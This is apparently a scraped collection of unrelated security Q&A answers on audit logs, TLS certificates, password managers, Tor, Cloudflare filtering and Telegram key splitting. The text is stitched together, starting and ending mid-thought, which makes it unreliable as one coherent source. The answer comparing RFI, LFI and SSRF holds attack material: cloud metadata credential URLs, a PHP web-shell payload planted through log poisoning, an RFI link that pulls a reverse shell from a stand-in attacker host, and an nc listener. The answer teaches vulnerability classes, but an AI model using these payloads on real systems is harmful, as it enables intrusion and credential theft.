HOWEVER, if you are using a internet browser such as Google chrome which takes your browsing history with you from device to device. (home computer, work computer, mobile). that information is then temporarily stored on your work computer and if they decided to look for it they have every right since you have brought that information onto THEIR network.

Alternatively just don't browse anything inappropriate at work?>


What defines a Secure Audit Log as such and how do you implement it?

In order to have a secure audit log, think of integrity and availability, two characteristics of security per the security CIA triad.

Integrity of audit log

All data written to the log, once written should be Read Only.. The data should NOT be able to be modified by any user if the log is to be trusted for forensic purposes. Access to the audit logs should be strictly controlled on a need to know basis, per security rule of Least Privilege. Ideally, the audit log is stored in a secure location such as a dedicated logging server. Write access needs to be restricted to only the minimum number of users, such as only users in a certain Active Directory group. Read access should be restricted in a similar fashion.
To detect changes in a log, a cryptographic hash function can be applied to previous log entries, so that any tampering will alter the hash and render impossible tampering not to be detected.

Availability of audit log

Audit log data should be retained for a specified period of time depending on the data sensitivity classification of the underlying source where logs are generated from. Backups of logs should ideally be stored offsite, so that if a disaster strikes, backups of such logs are not destroyed as well.

If logs are stored centrally on a logging server, tools such as client rate limiting, packet filtering can be used to mitigate DOS or DDOS attacks.


If you have a public-accessible server, use https://www.ssllabs.com/ssltest/analyze.html. Otherwise, see below for a script.

I am not aware of a s_client option that lists the key size for all certificates in a chain. You could use the -showcerts option to get all certificates provided by the server and check each of the provided certificates and assume that certificates in your trust store do not use small keys.

Note that some servers might be misconfigured to supply certificates in the chain that are not used (and incorrect). I remember seeing a site that would connect fine in Firefox, but fail in Java. It turned out that an old, expired CA was included in the chain along with the other certificates. Firefox would in this case just ignore that certificate as it found a valid certificate chain. openssl s_client -showcerts prints all certificates, even the ones that is unused (I have just verified that by appending a fake 1024-bit certificate to the chain).

The following script parses openssl s_client -showcerts output:

#!/usr/bin/awk -f
# Match all certificates
/^-----BEGIN CERTIFICATE-----$/ { in_cert=1; }
in_cert { cert = cert $0 "\n"; }
/^-----END CERTIFICATE-----$/ { in_cert = 0; }
!in_cert && cert {
    infocmd="openssl x509 -text -noout | grep -E 'Public-Key:|Subject:'";
    print cert | infocmd;
    close(infocmd);
    cert="";
}
# Print the verification result
/Verify return code/

Then use the above bits.awk with:

echo | openssl s_client -CApath /etc/ssl/certs \
    -connect example.com:443 -showcerts 2>/dev/null | ./bits.awk

The output looks like:

        Subject: CN=example.com
                Public-Key: (2048 bit)
        Subject: O=Trusted Certs Ltd., CN=Trusted CA
                Public-Key: (2048 bit)
        Subject: CN=Insecure
                Public-Key: (1024 bit)
    Verify return code: 0 (ok)

The first two lines are actually used for the chain verification, the last one isn't, but the script does not know that.


Why wouldn't the reverse shell connect back using the same port that exploited the server?

Reusing the existing channel requires additional complexity,  its also important to note that not every metasploit module uses a socket to exploit the host.  The shellcode would have to search memory (egghunt...) and find the socket and then use it.  Shellcode is all about being small and simple.

That being said there are other methods of influencing a host behind an exotic firewall.  download+exec shellcode is one method.


How do modern browsers isolate different addons?

Addons perform actions through a specific API provided by the browser. They do not run on their own as separate processes completely independent of the browser itself. It is entirely up to the browser to limit the API so a given addon or extension can only access features that it has permission to access and so that it can only access filesystem data that is intended for it. The browser itself does not actually need any specific hardware support (such as virtual memory management), since the addon is not executing arbitrary code directly on the processor.

The specific API depends on the browser. The Mozilla Firefox WebExtension API is different from the Google Chrome API. Any code running as an addon must use this API to request to access resources it does not own. For example accessing a file on the filesystem requires the script to request a service from the browser. It is up to the browser to refuse that service (whether because the browser itself cannot access the resource, or because the addon itself does not have sufficient permissions), or to grant it. The addon is powerless to contest this decision.


Sensitive files in the Cloud: Automated mounted TrueCrypt volume

Storing the password on a script is not recommended irrespective of which ever technique you may be using. One work around would be to store a random file on a flash drive and  use it's hash (or value from it) as the password.  So that you can remove it when not in use.


How secure are the default ASP.NET membership and role providers for Sql Server?

How secure they are is dependent entirely on what you are wanting to defend against, and what you are wanting to defend.  Defending against an internal employee who wants to look at their colleague's sales records is different from an external attacker who wants to steal customer information, which is different than defending against a government who wants to steal your proprietary designs.

generally speaking, these providers are not insecure as they follow the basic recommendations like salting passwords, allowing you to change the hash algorithm, etc (including non-crypto stuff as well).  However then you get into the configuration problems like making sure the connection to SQL is secure, the page you POST your credentials to is over SSL, or that the session cookies are protected via SSL, access to the database itself is secure, etc.

Comparatively, Windows Auth has similar problems, and then you get into security boundary issues, as it becomes a pain to use Windows Auth over the internet.

In theory an Active Directory store is probably going to be more secure than an average SQL Server database, but in reality if all you are using it for is user authentication on a public website, its likely VERY insecure because it probably isn't treated as nicely as the corporate AD.  Then again, corporate AD probably isn't treated nicely either (in general, not necessarily in your case).

SQL databases are prone to SQL injection attacks, Active Directory stores are prone to Windows-specific attacks.  SQL databases tend to lead to identity sprawl... multiple user accounts for multiple applications spread across mulitple databases.  Active Directory leads centralized accounts.  Either could be good or bad, it depends on what you are trying to accomplish.

Writing your own providers is usually not recommended as they haven't gone through public scrutiny, whereas the providers built into .NET have.  3rd party providers run into the same basic problem.  How have they been tested?

And then this brings up a question of why are you letting the application handle authentication itself?  Maybe it's better to let someone else do it via Claims Based Authentication.  This pushes the risk onto another system like Google, Facebook, or Windows Live.


Should UAC be turned on or off on servers?

Whatever reasons UAC should be kept enabled, it aims (at least theoretically) to mitigate the impact of a potentially malicious program. According to Microsoft:

  Under certain constrained circumstances, disabling User Account
  Control (UAC) on Windows Server can be an acceptable and recommended
  practice.These circumstances occur only when all the following
  conditions are true:

  Only administrators are allowed to log on to the Windows-based server interactively at the console or by using Remote Desktop
  Services.
  Administrators log on to the Windows-based server only to perform legitimate system administrative functions on the server.

  If either of these conditions is not true, UAC should remain enabled.
  For example, if the server enables the Remote Desktop Services role so
  that nonadministrative users can log on to the server to run
  applications, UAC should remain enabled. Similarly, UAC should remain
  enabled if administrators run risky applications on the server such as
  web browsers, email clients, or instant messaging clients, or if
  administrators perform other operations that should be performed from
  a client operating system such as Windows 7.

(Source)


How can I be sure Lastpass really can't access my passwords?

There is a way to see if LastPass is doing what they're saying.

Use the Non-binary Chrome, Firefox, Opera, or Safari extension.   This is 100% JavaScript and open in the sense that you can see it -- you can use network sniffing with a proxy (e.g. Paros) to see that the sensitive data is encrypted with AES-256-CBC from data generated from a key created with the number of rounds of PBKDF2-SHA256 you have setup on your account: http://helpdesk.lastpass.com/security-options/password-iterations-pbkdf2/ and this is done locally on your machine only.

Then simply don't update/upgrade your extension until you want to audit it again.  You could also audit the way we interact with the binary extension to decide if you trust that.

That's a bit extreme for most people, but a number of people and organizations have audited LastPass and liked what they found.  LastPass is always helpful to anyone wishing to audit, feel free to contact us if you'd like help.

LastPass knows that it's perfectly reasonable to trust but verify, and encourage you to do so.  There's a reason we tell people to utilize the extensions rather than the website: the extensions can't change as easily as the website could thus making them more secure.

Source: I work for LastPass.


Can I exploit Windows kernel from user-mode application?

You need admin rights to normally get code into the kernel, and code is usually executed by a driver. Code in user mode cannot by design execute in kernel, so you have to find a bypass vulnerability to get past the user-mode barrier. If you can find such a vulnerability you can execute from user mode.

Other attack vectors are to find an EOP vulnerability, elevate to admin, and install a malicious driver.


What's the best way to store the passwords?

There's a bunch of details missing from your question, but I'll take a shot at answering. Let's break down your question:

  I'm thinking about storing random 16 characters passwords from my accounts

Depends how you are generating these 16 character passwords. Are they truly random? In particular, what are you using as your source of randomness? How will you deal with the fact that different sites support different character sets in passwords?

  in the local mysql database.

How secure is your database? Security is typically measured as Confidentiality, Integrity, Availability.
- Confidentiality: is your local mysql database encrypted? Is the device it's on encrypted? How strong are the passwords protecting it?
- Integrity: doesn't really apply here.
- Availability: Do you have backups of this database somewhere? ie if the machine it's on dies, will you be in trouble to reset all your accounts?

  Is it good idea or I better store them with the help of Google smart locks?

Your question is really "Should I invent my own password manager, or use a real one?". With security, it's always dangerous to invent your own because there are a lot of small things that you have to get right. There are a number of excellent password managers out there, I suggest you just use one of them:

Google smart lock (ie the password manager built-in to Chrome and Android). -- It's good on Availability because it's backed up in the Google cloud. Not as good as others on Confidentiality because once I'm in to your laptop, I have all your passwords. It also requires you to be using Chrome or Android, so it would prevent you from, say moving to Firefox.

Then there are dedicated password managers:

password safe -- I've never heard of it, but it comes with @symcbean's recommendation.
Lastpass -- Passwords are backed up on Lastpass' servers. Good for Availability, but requires you to trust them. Better for Confidentiality because your password database has a global password on it with lots of security options you can enable
Keepass -- A local app that you run on your device (supports all common mobile and desktop OSes). This one is probably the best for confidentiality because it saves to an encrypted local file (ie does not get stored on any cloud server), but not so great for Availability because you need to figure out your own backup system. That said, the android client knows how to sync with GoogleDrive, Dropbox, and ftp server and many more.

Bottom line, I'm glad you're thinking about the security of your passwords, but please use one of the many well-built solutions rather than inventing your own!


Description of the problem
You have a site xyz.mysite.com on Cloudflare (ip 1.1.1.2) which sits in front of your real server (ip 9.9.9.9). A different page, www.othersite.com is showing the contents of your site and you want to block it.
Possibilities
I see a few options on what could be happening:

www.othersite.com is resolving directly to your real ip 9.9.9.9 You get the connections directly from the clients
www.othersite.com is proxying your content by connecting directly to 9.9.9.9
www.othersite.com is proxying your content by connecting through Coudflare (1.1.1.2)

If the issue is the first one, you could simply filter based on the host header used, blocking them:
RewriteEngine on
RewriteCond expr "%{HTTP_HOST} != %{SERVER_NAME}"
RewriteRule .* - [F,L]

Or just redirect them to your real site:
RewriteEngine on
RewriteCond expr "%{HTTP_HOST} != %{SERVER_NAME}"
RewriteRule ^(.*)$ https://%{SERVER_NAME}$1 [R=permanent,L]

If the issue is the second one, you could block the IP addresses they are using, althouth they might then change how they connect to bypass it. So instead of blocking the addresses you don't want to connect, you can simply allow just those that are allowed. Since you only want those accesses from Cloudflare, you can filter that. Cloudflare publishes their IP ranges at https://www.cloudflare.com/ips/ and your problem the one stated on Only allow certain IP addresses to access site with mod_rewrite? or Redirect a range of IPs using RewriteCond.
Thus your .htaccess may end up as
RewriteEngine on
RewriteCond expr "! -R '173.245.48.0/20'"
RewriteCond expr "! -R '103.21.244.0/22'"
RewriteCond expr "! -R '103.22.200.0/22'"
RewriteCond expr "! -R '103.31.4.0/22'"
RewriteCond expr "! -R '141.101.64.0/18'"
RewriteCond expr "! -R '108.162.192.0/18'"
RewriteCond expr "! -R '190.93.240.0/20'"
RewriteCond expr "! -R '188.114.96.0/20'"
RewriteCond expr "! -R '197.234.240.0/22'"
RewriteCond expr "! -R '198.41.128.0/17'"
RewriteCond expr "! -R '162.158.0.0/15'"
RewriteCond expr "! -R '104.16.0.0/12'"
RewriteCond expr "! -R '172.64.0.0/13'"
RewriteCond expr "! -R '131.0.72.0/22'"
RewriteCond expr "! -R '2400:cb00::/32'"
RewriteCond expr "! -R '2606:4700::/32'"
RewriteCond expr "! -R '2803:f800::/32'"
RewriteCond expr "! -R '2405:b500::/32'"
RewriteCond expr "! -R '2405:8100::/32'"
RewriteCond expr "! -R '2a06:98c0::/29'"
RewriteCond expr "! -R '2c0f:f248::/32'"
RewriteRule .* - [F,L]

(ranges of Cloudflare as of November 2020)
This would work for case #1 as well.
Finally, in the third case, they could be hitting through Cloudflare. You could block them based on the CF-Connecting-IP header provided by Cloudflare, but they should really get blocked at Cloudflare level rather than at your server. I suspect you won't be on this third case.


Is two copies of the same data stored on a RAID 1 array considered a "backup"

A backup is when you have two or more independent copies of something.  If one of the copies is destroyed, you can still use another copy.  For the purposes of backup, RAID 1 counts as just a single copy, since its two copies of the file are dependent: anything that happens to one will usually happen to the other as well.

If you've got a live copy of the data on your computer, and a second copy of the data on a removable RAID array stored somewhere else, you've got a backup: it takes two incidents (or one really large one) for you to lose all copies of the data.

From the description of your setup, your "backup array" doesn't count as a backup.  Since it's attached to your computer most of the time, it only protects you against hard-drive failure or accidental deletion.  It won't protect you against ransomware, or fire, or theft, or...

Your "archive array", on the other hand, can be used as a backup.  The partitioning you propose doesn't count (the only thing it protects against is user error), but if you store the hard drives making up the array in different places (eg. one drive at home, one at work) whenever the array's powered down, you've got your two independent copies.  You're still at risk any time the array's assembled and powered up, but it sounds like that won't be very often.


There are a couple different answers to this depending on the circumstances...

Peer to peer downloads (like torrents or filesharing networks)

If you are talking about downloading data illegally (e.g. copyrighted data in many countries), you shouldn't be doing that in the first place. Be a man and download that movie over the normal internet. If you download lots of data this way, you are using up a lot of CPU and bandwidth from multiple servers around the world and basically clogging up the network. That, too, is something you shouldn't do because the network will cease to be possible if too many people do this.

If you need to download lots of data anonymously and you have a real purpose for being anonymous (e.g. you're a journalist writing a piece on child porn), be my guest and use those resources.
If you're someone wanting to play the latest games without paying, well, I think you know where this is going.

Downloads from websites

And you are NOT using https

When connecting over Tor to the open internet (any http:// or ftp:// address), Tor basically works as a proxy server. The website that you download from sends data, a few nodes in the Tor network forward it, and eventually it ends up with you. That is, if everything goes as it should.

What Tor also does is encrypt the traffic inside the Tor network. This means that any MITM attacks on your local network (for example an insecure WiFi network) are not possible. So this is an advantage for using Tor to download things.

On the other hand, you are willingly proxying your traffic through at least one other stranger on the internet that can modify the traffic as desired. That is also a risk to consider, so be sure to validate any checksums if available.

And of course like always, Tor also masks your IP address (and thereby the possibility to find your physical location), which works especially well when you are using the Tails OS or the Tor Browser Bundle.

If you are using https

The only added value of Tor in this case is that it will mask your IP address.

If you are visiting an .onion website and downloading from there

This works much the same as https, except that now it doesn't only mask your IP address, it also masks the server's IP address. Law enforcement and others basically can't monitor that anyone downloaded a file from that server at all. It makes the server anonymous as well as you.

Note that it may technically be possible to unmask people using Tor if someone really wants to spend millions (billions?) on it, but this is usually not the case. If this is a concern, read more about how Tor works, this answer is certainly not sufficient.


How do you prevent IP address leakage on a Mac while using VPN?

Your IP can leak in a number of ways, but commonly through DNS or WebRTC. The first step would be to identify a leak using websites like DoILeak or DNS leak test. Then take it from there - make sure you're using the correct DNS servers, disable WebRTC (though AFAIK Safari isn't vulnerable), and so on.

A very quick Google search came up with some good results, for example this guide to IP leaks.


Outsmart Google Drive censorship with 7zip encryption

It is reasonably secure. If google's censorship is automatic (as I suspect) it doesn't really matter either, as long as google doesn't automatically break the encryption. For 7z, they don't.

The encryption in 7z is good, and I have not heard of any practical attacks. If all you need to achieve is hiding it from automated scanning, it doesn't really matter.

If you're up against an adversary which knows the clear text you may be sharing, you should look into padding it, to hide the size.


ADFS: Verify requests from relying party

Is this for WS-Fed or for SAML?

I've only ever used this for SAML.

In the SAML world, this is imported from the partner metadata and is the public key of the certificate the partner uses to sign assertions (In WS-Fed terms = claims).

The RP uses this to validate the assertions.


What is the difference between RFI/LFI and SSRF?

Server-Side Request Forgery CAN be an RFI or LFI

It can be the same as RFI. The same two vulnerabilities can exist within the same function. The caveat is that a lot of web apps may block access to external domains through a firewall or something, making the RFI portion "impossible" for an external host.

Imagine you have a web app which asks you for a specific URL, and outputs information based on the url.

Let's assume RFI is blocked at the firewall level because it's not able to communicate with outside sources, and only internal hosts are whitelisted. Or maybe we can assume that the preprocessor engine or web application has functionality which prevents remote code execution through the use of escaping, etc.

Well, what if you entered internal IP addresses instead of an external IP?

hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100

If the web application returns information based on that page, it may be possible to turn this into RCE in some circumstances, or even run a port scan against internal resources using the SSRF vulnerability.

Let's try a "scan" on an SSH port:

hxxp://vulnerablesite.com/read_page.php?file=hxxp://10.40.20.100:22

which returns the following error:

PHP Warning:  fopen(hxxp://10.40.20.100:22):
failed to open stream: hxxp request failed!
SSH-2.0-OpenSSH_7.7p1 Debian-3 in
/home/markfluffybunnybuffalo/test.php on line 2

You just revealed that I have SSH open on that internal network address. Hmm. Maybe you can do some enumeration on other ports and see what's open. You may even find an archive of files somewhere with which you can get some sort of internal RFI going.

You may also be able to read resources that are generally only available on the internal network, including cloud metadata.

SSRF attacks can also work like an RFI attack in many cases. But in general, people will (I hope) disable the inclusion of remote files not on the web server itself.

Cloud Metadata

One of the nastiest ways to abuse SSRF vulnerabilities is through the inclusion of cloud metadata files which could provide you with access credentials that could be used to laterally escalate across a cloud hosting proider.

Examples shown below for various cloud providers or technologies:

Amazon Web Services (AWS)

hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/dummy
hxxp://169.254.169.254/latest/user-data
hxxp://169.254.169.254/latest/user-data/iam/security-credentials/[ROLE]
hxxp://169.254.169.254/latest/meta-data/iam/security-credentials/[ROLE]
hxxp://169.254.169.254/latest/meta-data/ami-id
hxxp://169.254.169.254/latest/meta-data/reservation-id
hxxp://169.254.169.254/latest/meta-data/hostname
hxxp://169.254.169.254/latest/meta-data/public-keys/0/openssh-key
hxxp://169.254.169.254/latest/meta-data/public-keys/[ID]/openssh-key

Microsoft Azure

hxxp://169.254.169.254/metadata/instance?api-version=2017-04-02
hxxp://169.254.169.254/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text

Google Cloud Platform (GCP)

hxxp://169.254.169.254/computeMetadata/v1/
hxxp://metadata.google.internal/computeMetadata/v1/
hxxp://metadata/computeMetadata/v1/
hxxp://metadata.google.internal/computeMetadata/v1/instance/hostname
hxxp://metadata.google.internal/computeMetadata/v1/instance/id
hxxp://metadata.google.internal/computeMetadata/v1/project/project-id
hxxp://metadata.google.internal/computeMetadata/v1/instance/attributes/kube-env
hxxp://metadata.google.internal/computeMetadata/v1/instance/disks/?recursive=true
hxxp://metadata.google.internal/computeMetadata/v1beta1/instance/attributes/?recursive=true&alt=json

Oracle Cloud

hxxp://192.0.0.192/latest/
hxxp://192.0.0.192/latest/user-data/
hxxp://192.0.0.192/latest/meta-data/
hxxp://192.0.0.192/latest/attributes/

Kubernetes

hxxps://kubernetes.default.svc.cluster.local
hxxps://kubernetes.default
hxxps://kubernetes.default.svc/metrics

Local File Inclusion

A function vulnerable to LFI may also be vulnerable to RFI. It depends. In this scenario, you are including a local file, such as

hxxp://vulnerablesite.com/read_page.php?file=../../../../etc/passwd

This lets you see what users are on the system, so maybe you can try to connect via SSH as one of those users, or find more information about them. There's a lot of different things you can do with it.

Maybe you can also include a script that you've written to the server, or perhaps you've poisoned the access.log with code that would be executed by a preprocessor engine (such as placing <? echo shell_exec($_GET["c"]); ?> within a legitimate request that gets logged), to get remote code execution as a different user depending on the context.

Remote File Inclusion

See above, only it allows remote files. It may be possible that the function is vulnerable to both LFI and RFI.

With RFI, the likelihood of executing code is very high. You can host a web server which returns PHP code without processing it through the preprocessor engine, which then gets executed on the victim's server.

hxxp://vulnerablesite.com/read_page.php?file=hxxp://hax.com/reverse-shell.php

If you put PHP code in that file, you may be able to execute code with this vulnerability. One example is using reverse shell code. You'd throw up a listener:

nc -nlvp 4444

And then visit the page with the RFI vulnerability, which should trigger your reverse shell:

connect to [10.40.20.100] from (UNKNOWN) [216.58.218.100] 48984
python -c 'import pty;pty.spawn("/bin/sh");'
$ whoami

markfluffybunnybuffalo

Conclusion

So it looks like RFI/LFI and SSRF are pretty much the same class of vulnerabilites, just used in different ways.


For those looking on how to make use of the OBKG function on some Gemalto smart cards with SSH, I wrote up my experience here   I'm sure someone with more knowledge could automate the process (or knows a better way) but mine did work out in the end.


Initialization of a LUKS encrypted partition with cipher or /dev/urandom

To use the kernel's crypto module to initialize the partition/disk do this:

cryptsetup create --key-file=/dev/urandom eraseme /dev/sde
dd if=/dev/zero bs=1M of=/dev/mapper/eraseme
cryptsetup remove eraseme

This initializes a crypto mapping named eraseme spanning the partition/disk using data from /dev/urandom as the key.  Writes zeros to the mapping and then deletes the mapping.  Use --cipher option to use non-default cipher if required.

It is much faster than reading from urandom.  On my computer, writing to a ramdisk I get these performance figures:

640 MB/s zeros  (dd if=/dev/zero bs=1M of=/dev/sde)
270 MB/s crypto module using default cipher aes-cbc-essiv:sha256  (commands as above)
8.7 MB/s urandom  (dd if=/dev/urandom bs=1M of=/dev/sde)


Is it a risk running old modules on Apache?

From security perspective the old modules which is patched for all discovered vulnerabilities will be more secure than the new one's which is may be have many undiscovered vulnerabilities


Are there any risks associated with SSH agent forwarding?

Yes, you have to trust the remote server if you allow agent forwarding for this server (especially if you use the same key for more services). Doing so rogue root or evil admin with root access can impersonate you for authentication to other servers during the time you are connected to that server.

The state is still better than accessing the key permanently or stealing it from you, what could happen when you would copy your private key to the server, but this is still an issue, since there is no confirmation on your side, that you really want to do crypto with your key in agent.

Using separate key for github is probably good idea. And having middle-step-clone of your important repository on a server you don't trust is probably something you also don't want.


Is SSL session based only? Is there a (formal) definition of an SSL connection?

When SSL is set up, it undergoes a handshake. This handshake allows the two clients to securely decide the details of the conversation and exchange key material. Once the handshake is complete, both sides can communicate securely. This entire conversation is simply an exchange of messages, so SSL is not technically limited to any transport protocol. You could run SSL over UDP if you really wanted, though standard libs probably don't support it and I wouldn't suggest trying it.

To answer your question fully - there's no such thing as a message in the SSL protocol to say "this SSL session is ending". The session is tied to whatever logic is provided by your transport layer and application layer, and it's up to the SSL implementation to deallocate resources when the conversation has "ended".

One thing your application might do is create an SSL wrapper around a TCP connection, send a few messages, send a "I'm done" message, tear down the SSL wrapper, then go back to the first step without closing the TCP connection. This way you could run multiple SSL "sessions" in serial using a single connection. I'm not sure what the use-case is, and I'd just make a new connection, but there's no technical limitation to stop you.


I believe the enterprise grade key agents from ssh.com utilise these scheme's inside there environments. (I have not been able to found a "proof" of that, just a educated guess based on the authors of the IFC Draft and the "hints" on the ssh.com product specs.)

the features the list seem to be able to do the things listed in the draft.


SSL: Android may not verify hostname, defining cipher suites

Some background on TLS (aka SSL) - When you try to establish a secure connection from your client to the server the server will send the client its certificate to prove its identity to the client, along with a list of ciphersuites that it supports. The client verifies the identity by making sure the domain it is connecting to is the domain stated in the certificate, and that the certificate is signed by a valid certificate authority. After this is done the client and server establish some shared secret from which to derive keys and also agree on a ciphersuite.

You may notice above that ciphersuites (e.g. TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256) are negotiated after the servers identity is established. This means that if there was a problem verifying the hostname it would happen when the the server sends the client its certificate, not when ciphersuites are negotiated. In other words this error should not be linked to the ciphersuite that the server and the client agree on, since it would happen before a ciphersuite is ever agreed upon.

My hunch is that this may be a misleading exception message being given to you by the SSL library being used on Android. I am not familiar with what ciphersuites come with SSL libraries on Android 5 "out of the box" so to speak, but perhaps when the server sends the client it's list of supported ciphers, the client does not see any ciphers that it supports and this cascades to some misleading exception logic. I'd suggest looking at what ciphersuites your server is configured to support and also look at the documentation for Android 5 regarding supported ciphersuites. One thing that seems to be true given what you stated is that your certificate is not the issue here.


Why does a Revoked PGP Key show under my Valid Key?

You're looking at a certification (signature) that you issued from one of your keys to the other one. All the output you're looking at says is that there is a crytographically tested certification from the one key to the other, but it does not make any assumption on the validity of that key (whether it is verified, trusted and not revoked).

Two things considering OpenPGP are important here: OpenPGP is built to never forget anything to be resilient against deletion attacks and due to the distributed nature of the key server network (there is no way to delete information from the keyserver network, just mark it as revoked). And no certifications, ... are to be trusted unless verified through a so-called trust path from your own key to the key to be validated.

GnuPG will not account the revoked key any more when recalculating the trust database, no matter whether the signature is listed or not.

Deleting signatures is not really considered as use case in GnuPG. If you really want to delete it, you will have to decompose the public key using gpgsplit, search for the proper signature packet and recompose and import the public key again. But this is not really useful: as you cannot delete the signature from the key server network, next time you fetch your own key the signature will be added again.


Does portforwarding present a risk to anonymity?

That's the worst possible advice; and, doesn't answer what the OP wants to really know.  If you get a standard VPN provider and you attempt to forward your ports via your Internet router, you're leaving yourself completely exposed to "real" malicious attacks; especially if you forward common ports such as port 80, 443, etc; even if they're SSL'ed!  I tested this a few weeks ago.. some very popular VPN services are completely infested with automated vulnerability scanners and respective attacks.

The difference between AirVPN and other VPN providers is that they allow for a much safer way to forward your port (done on their servers instead of on your router); which doesn't completely leave you vulnerable to port-scans and respective attacks.  This is particularly useful for people who host web sites and other Internet services.

So, if you're forwarding ports, you had better do it with a VPN that's setup for doing this.  Most don't advertise this too well; so, you have to specifically ask for ports to be forwarded for you (these accounts are usually referred to as "dedicated" or "private" VPNs.


That would most likely be the Virtual address descriptor (VAD).  More information about Process Hollowing techniques can be found at https://cysinfo.com/detecting-deceptive-hollowing-techniques/


Best solution is if you know all allowed ORDER BY columns in advance and check your $unsafeVariable against that whitelist.
Another option: after removing all invalid characters check that your $unsafeVariable is a substring of the query you are building. It would become extremely difficult to misuse that.


Is there use for GPG/PGP for casual people who are simply concerned for their privacy?

nor is communicating with people who are willing to use GPG

PGP/GPG or S/MIME provide end to end encryption and tamper resistance. But to offer this it needs to be used by both ends of the communication. If the other end is unwilling to use PGP or S/MIME then no end to end encryption is possible. This is the same with HTTPS: if the web server does not offer HTTPS then it does not matter if your browser would like to encrypt the connection, it will simply not work.

GPG might still be useful as a general encryption tool for yourself, but it will not be useful to protect your communication if the other end is unwilling to communicate with you in an encrypted way.


No it's mostly a dead bug class, requiring weakened configuration to exploit on modern servers as you stated. The I in RFI stands for include() and even though it can be exploited through require() and the _once variants I suppose it would require these functions to be a RFI bug. Something like eval(curl_exec($url)) is not an RFI bug, but could be hard to distinguish from a black box perspective.


How does Telegram's secret-splitting scheme work?

Key splitting (best case scenario)
The ideal cryptographic algorithm for this purpose is Shamir's Secret Sharing, as it provides Information theoretical security, meaning it's mathematically impossible to recover the actual key without having the k number of shares specified by the person splitting the key.
We don't know how many shares are needed, and/or if it's even the case Shamir's scheme is used, but to analyze the security in academic way we should assume good faith and assume that is indeed the case.
But even with Shamir's Secret Sharing, it is the case this only applies to the offline-copy of the key. There is no precedent that this argument would hold in court, and since Telegram hasn't shown e.g. third party precedent, we can only trust their word. It is very unlikely it would hold in court, because the Shamir shares are not what the courts would go after. This is because there is another copy.
Database encryption design (best case scenario)
The reason there is another copy, is, the key is also used for something, namely, database encryption. Every time you send a cloud message to Telegram server, that cloud message needs to be committed to the Telegram server's database.
The most secure possible way to handle database encryption is to encrypt data first, and then commit the ciphertext to the database as a binary blob. The server will then decrypt the data right before it's sent to the recipient (or back to the user who e.g. has added a new device, which is now requesting the message history). Again we don't know if this is the case as it might be really inefficient for making searches etc. but again since it's security we're trying to assess, we assume good faith and that this can be done even if it requires spending more computational effort for database management, searches etc.
The "commit encrypted blobs" approach is essentially on-the-fly encryption of data going in and out of the database, i.e., the server constantly encrypts and decrypts data. Every operation of encryption and decryption requires the CPU that does the encryption or decryption, to have access to the key.
Location of the key in memory
The way computers work, is running programs store all their data to the Random Access Memory (RAM) of the server. The CPU can also store frequently used data to its cache memory to make it more readily accessible.
In servers the RAM does not necessarily have to exist on the same motherboard, as RDMA allows access to RAM of close proximity servers with an interface such as InfiniBand.
RAM encryption
Modern servers can also encrypt the RAM with Intel TSME or AMD SME, so again, assuming good faith that such is used, one can't just pull RAM sticks out of Telegram's server and obtain the database encryption key with a cold boot attack.
But RAM encryption or displacement to another motherboard via RDMA doesn't make the key unavailable to the operating system and/or Telegram server application.
Summary of best case scenario
So hypothetically, assume

Telegram servers have been booted only once
Telegram keys were split to shares with Shamir, and carried by Telegram staff to multiple countries before anyone could get their hands on them
Telegram servers have never been rebooted so the incredible trouble of having to reassemble the key has never needed to be done.
Telegram servers encrypt every message before committing the ciphertext as a binary blob to the database.
Telegram servers decrypt every ciphertext read from the database just before sending it to the user with MTProto client-server encryption

The security assessment of the best case scenario
Threat 1: Subpoenas
According to this tweet Telegram has servers in "[...] London for European users, Singapore for Asian, San Francisco for American."
So three servers. As per above, the entire database encryption key for all European users must by definition exist in RAM of the server in London, thus Telegram can access any user's data either via the interface they use to monitor reported chats, or, by printing out the key by adding a single line of code print(server_private_key) to the server, and then using a secondary program to decrypt the database entries. This is so simple to do, failure to do so would with overwhelming probability be considered obstruction of justice. Every major Internet company in the world encrypts its databases, and is obliged to comply with court orders. Telegram's claim that it is unable to do the same thing despite using exactly same database encryption technology, and having the key physically present in the server rack, is pure fabrication.
Threat 2: Telegram staff
When Telegram server receives a client-server encrypted (cloud) message from a contact, it first authenticates and decrypts the client-server MTProto ciphertext to recover the plaintext message.
After the plaintext message is available, Telegram staff can do whatever they want with that message. They can make as many copies of the message as they want, they can analyze it to create a profile about the user in secret, etc. The only thing that's stopping them, is if they have an internal policy to not do that. The public privacy policy does not necessarily reflect the truth, and isn't written in stone, Telegram might in future serve e.g. targeted ads based on that data. So this boils down to whether or not you trust Telegram to do the right thing, always, indefinitely.
Threat 3: Hackers
Telegram's server contains billion of messages from its 400 million users. This makes it a very tempting target for both organized crime, and nation state actors. How would Telegram's key splitting system protect its users in case of breach? How would the breach work?
It all begins with a vulnerability, an un-patched bug that endangers the security of the server. Majority of vulnerabilities are known and fixed, but for every up-to-date system, it is extremely likely there exists at least one vulnerability that the attacker knows, and that the developers of the software that runs in the server (OS, server application etc.) does not know. This is called a zero-day.
The vulnerability is exploited with a piece of code called the exploit, that then opens up the route to deploy what is called the payload. The payload is that does the dirty deeds of the attacker. (An exploit against a zero-day vulnerability is called zero-day exploit.)
So to give an allegory, vulnerability is a weak skin, exploit is the stinger of a wasp, and the payload is the venom of the wasp delivered via the exploit.
In order to wreak havoc, the zero-day exploit must also be able to perform something called privilege escalation. This requires a vulnerability in the operating system of the server.
So when such zero-day exploit is performed, it allows the attacker to run any command and program with kernel-level privileges, which also means that the CPU runs in something called kernel mode. To quote Wikipedia on CPU modes,

Kernel
In kernel mode, the CPU may perform any operation allowed by its architecture; any instruction may be executed, any I/O operation initiated, any area of memory accessed

When the CPU runs in kernel mode, it can access any area of memory. This by definition includes the memory of the Telegram server program that's doing the back-and-forth encryption/decryption for databases. The attacker's payload-program that's running in kernel mode will scan the RAM for the Telegram's database encryption key, and sends it to the attacker.
Since in kernel-mode any I/O operation can also be done, the attacker can also use the payload program to dump the entire Telegram message database, and the attacker can then decrypt the messages with the stolen key either on their end, or at server's end.
Can such an attack be detected?
It depends on the quality of the exploit. E.g. to quote Wikileaks on CIA's GrassHopper framework

